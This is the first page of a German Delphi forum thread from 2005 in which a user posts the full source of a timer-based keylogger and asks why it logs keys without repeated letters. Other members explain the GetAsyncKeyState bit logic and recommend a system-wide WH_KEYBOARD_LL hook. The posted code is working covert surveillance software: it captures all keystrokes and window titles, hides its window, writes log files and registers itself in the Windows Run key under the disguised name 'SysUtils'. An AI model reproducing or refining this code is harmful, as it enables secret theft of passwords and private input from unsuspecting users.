Delphi-PRAXiS
Seite 1 von 2  1 2      

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Programmieren allgemein (https://www.delphipraxis.net/40-programmieren-allgemein/)
-   -   Keylogger ohne dll :) (https://www.delphipraxis.net/48735-keylogger-ohne-dll.html)

Aljoscha 29. Jun 2005 18:44


Keylogger ohne dll :)
 
Liste der Anhänge anzeigen (Anzahl: 1)
Hi.
Ich habe hier den Source eines Keyloggers, der ohne dll funktioniert.
Das ganze basiert auf Timern, doch ich verstehe es noch nicht ganz.
Also so weit ich das aus dem Source ersehen kann wird da mit einem Timer bgefangen welche taste grade gedrückt wurde in diesem Moment.
Aber warum ist das nicht wi bei anderen Keyloggern dieser Art, die ein:
Hallo
in ein
HHHHHHaaaaaaaaallllllllllllllllllllllllllllllllooo oooooo
verstümmeln?
Doppelte Buchstaben us, wird alles erkannt.
ich könnte den Source einfach kopieren, aber jetzt habe ich interesse zu verstehen wie das ganze Funktioniert :)
Hier der Soure und im Anhang das Projekt.

Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, registry, FileCtrl;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Buffer:String;
  ventanaActual:String;
  ventanaAnterior:String;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
 then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva: String;
var PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin
    {$IFDEF Win32}
    Wnd := GetForegroundWindow;
    {$ELSE}
    Wnd := GetActiveWindow;
    {$ENDIF}
    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
    Result := PC;
end;
var i: integer;
    TeclaAnterior:String;
    letra:String;
begin
 If GetAsyncKeyState(VK_TAB)=-32767 then
 letra:=' -Tab- ';
 If GetAsyncKeyState(VK_CAPITAL)=-32767 then
 letra:=' -Caps Lock- ';
 If GetAsyncKeyState(VK_ESCAPE)=-32767 then
 letra:=' -Esc- ';
 If GetAsyncKeyState(VK_DELETE)=-32767 then
 letra:=' -Delete- ';
 if GetAsyncKeyState(13)=-32767 then
  letra:=' -Enter- ';
 if GetAsyncKeyState(8)=-32767 then
  letra:=' -Back- ';
 for i:=30 to 255 do
  if GetAsyncKeyState(i)=-32767 Then
   Case i of
    91:Letra:=' (Menu inicio) ';
    96:Letra:='0';
    97:Letra:='1';
    98:Letra:='2';
    99:Letra:='3';
    100:Letra:='4';
    101:Letra:='5';
    102:Letra:='6';
    103:Letra:='7';
    104:Letra:='8';
    105:Letra:='9';
    106:Letra:='*';
    107:Letra:='+';
    109:Letra:='-';
    110:Letra:='.';
    111:Letra:='/';
    112:Letra:=' F1 ';
    113:Letra:=' F2 ';
    114:Letra:=' F3 ';
    115:Letra:=' F4 ';
    116:Letra:=' F5 ';
    117:Letra:=' F6 ';
    118:Letra:=' F7 ';
    119:Letra:=' F8 ';
    120:Letra:=' F9 ';
    121:Letra:=' F10 ';
    122:Letra:=' F11 ';
    123:Letra:=' F12 ';
   else
    if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then
     if GetKeyState(20)=1 then //si estan activadas las mayusculas
      begin
       letra:=UpCase(chr(i));//la paso a mayuscula
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra := LowerCase(chr(i))
      end
     else //Si no estan activadas las mayusculas
      begin
       letra:=LowerCase(chr(i));
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra:=UpCase(chr(i))
      end;
      end;
     VentanaAnterior:=VentanaActual;
     VentanaActual:=VentanaActiva;
     If (ventanaActual='üý') or (ventanaActual='') then
      Exit;
     If ventanaAnterior<>VentanaActiva then
      Begin
       Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10;
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End
     Else
      Begin
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Form1.Hide;
Timer1.Enabled:=True;
Timer2.Enabled:=False;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
Var archivo: TextFile;
    X:integer;
begin
 For X:=0 to 5000 do
  Begin
   AssignFile(Archivo,'log'+IntToStr(X)+'.txt');
   {$I-}Reset(Archivo);{$I+}
    If IOResult<>0 then
     Begin
      Rewrite(Archivo);
      Writeln(Archivo,DateTimeToStr(Now));
      Writeln(Archivo);
      Write(Archivo,Buffer);
      CloseFile(Archivo);
      Buffer:='';
      Exit;
     End;
  End;
End;

procedure TForm1.FormDestroy(Sender: TObject);
var Reg:TRegistry;
begin
Reg := TRegistry.Create;
 try
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
   then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
Timer3.OnTimer(Sender);
end;

end.

Speedmaster 29. Jun 2005 18:57

Re: Keylogger ohne dll :)
 
Soweit ich dich verstanden habe, sage ich mal Spontan:
Dein Keylogger Loggt die Keys die Windoff ausgibt, und nicht die Signale die Windows verarbeitet!
Verursacht wird der Unterschied durch die Tastenanschlaggeschwindigkeit, die man in Windows einstellen kann!

Aljoscha 29. Jun 2005 19:07

Re: Keylogger ohne dll :)
 
Sorry damit kann ich nicht wirklich viel anfangen :s
Wieso stellt dieser Keylogger dei Eingaben korrekt dar und andere die ähnlich arbeiten nicht?
Kannst du mir das am Source erklären?
Man bräuchte normal ja nur einen Timer für die reinen eingaben, aber irgendwie sind es 2.
Ich habe noch einen anderen Keylogger Source der mit Timern arbeitet, damit man sieht wie das bei dem aussieht.

Delphi-Quellcode:
   1. procedure TForm1.Timer1Timer(Sender: TObject);
   2. Var pos, c : integer;
   3. begin
   4. //64 = Code ASCII de la lettre 'a', si echap est presser vous le serez
   5. for c:= 1 to 255 do begin;
   6.        pos := GetKeyState(c);
   7.        If Copy(IntToStr(pos),1,1) = '-' Then begin;
   8.                memo1.Text := Memo1.Text + chr(c);
   9.        End;
  10. End;
  11. end;
Wenn ich nun etwas eingebe stellt er mir je nach Timergeschwindigkeit HHHHHHaaaaaaaalllllllllllllllllllllooooooo
oder auh wnen ich z.B. langsamer einstelle
Hlo
oder noch weniger (bis eben hin zu garnichts, weil beim Timerevent der Knopf schon wieder losgelassen wurde)

DGL-luke 29. Jun 2005 19:20

Re: Keylogger ohne dll :)
 
das soll ein keylogger sein? :lol: nene junge, da gibt es was professionelleres :mrgreen:

Hier im Forum suchenWH_KEYBOARD_LL

da solltest du unter anderem zu einem von mir gestarteten thread kommen, in dem flocke am schluss ein sehr schönes beispiel gibt.

Aljoscha 29. Jun 2005 19:52

Re: Keylogger ohne dll :)
 
Na solange es die Keys logt ists doch nen keylogger oder :s
Ich kenn das ganze mit den Hooking dlls ja, aber ich würde gerne verstehen wie das hier funktioniert.

DGL-luke 29. Jun 2005 20:15

Re: Keylogger ohne dll :)
 
ich würde halt bei getasynckeystate die doppelten rausschmeissen.

:warn: setwindowshookex(WH_KEYBOARD_LL,...) funktioniert ohne DLLs! warum eine unsaubere und unperformante methode benutzen, wenn es die "offizielle" auch gibt?

getasynckeystate sollte man benutzen, wenn man eine einzelne taste holen will. wer alle keys haben will, macht gefälligst einen key hook! :zwinker:

PS: wieso will ich ein wackeliges dreirad verstehen, wenn ich weiss, wie man mit einem motorrad umgeht? :stupid:

SirThornberry 29. Jun 2005 20:38

Re: Keylogger ohne dll :)
 
@DGL-luke: ohne DLL funktioniert es nur Anwendungsweit. Wenn man mit Hook arbeitet muss es eine DLL sein um das ganze systemweit abzufangen... Die Methode mit den Timer find ich persönlich unsauber, denn wie schon erwähnt wird dort kein key geloggt wenn ich die Taste schnell genug wieder los lasse.

Flocke 29. Jun 2005 20:41

Re: Keylogger ohne dll :)
 
Na ja, "GetAsyncKeyState" könnte den Vorteil haben, dass man es auch "normal Sterblicher" ausführen kann.

Hat einer von euch den Keyboard-Hook mal ohne administrative Rechte ausprobiert (ich nicht)??? Ich habe gelesen, dass man das Berechtigung "Debug" benötigt, was wohl nicht jeder einfache Windows-User hat.

[Nachtrag]
(Wo ist der rote Kasten, wenn man ihn braucht ...)

@SirThornberry: bei mir funktioniert WH_KEYBOARD_LL auch ohne DLL systemweit, ich bekomme damit alle Tastaturereignisse, auch die von anderen Anwendungen.

Flocke 29. Jun 2005 20:50

Re: Keylogger ohne dll :)
 
Achso, gerade noch gefunden:

Zitat:

The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
Windows ist also so schlau sich zu merken, was seit dem letzten Aufruf von GetAsyncKeyState passiert ist.

Die obige Quelle ist aber in der Hinsicht ein bisschen unsauber, dass man den Rückgabewert von GetAsyncKeyState auf bestimmte Bits prüfen und nicht mit einem numerischen Wert vergleichen sollte.

Delphi-Quellcode:
TasteJetztGeradeGedrueckt      := (GetAsyncKeyState(key) and $8000) <> 0;
TasteSeitDemLetztenMalGedrueckt := (GetAsyncKeyState(key) and $0001) <> 0;
Der Quelltext oben prüft auf -31767 ($8001), also ob beide Bedingungen zutreffend sind. Dadurch gibt's keine Wiederholungsfehler.

SirThornberry 29. Jun 2005 21:42

Re: Keylogger ohne dll :)
 
@flocke: hätt ich nicht gedacht das man da die systemweiten nachrichten noch bekommt. *noch was dazugelernt hab* woher weiß man dann eigentlich von welcher Anwendung die message kam (keyboardmessage etc.)


Alle Zeitangaben in WEZ +1. Es ist jetzt 04:27 Uhr.
Seite 1 von 2  1 2      

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz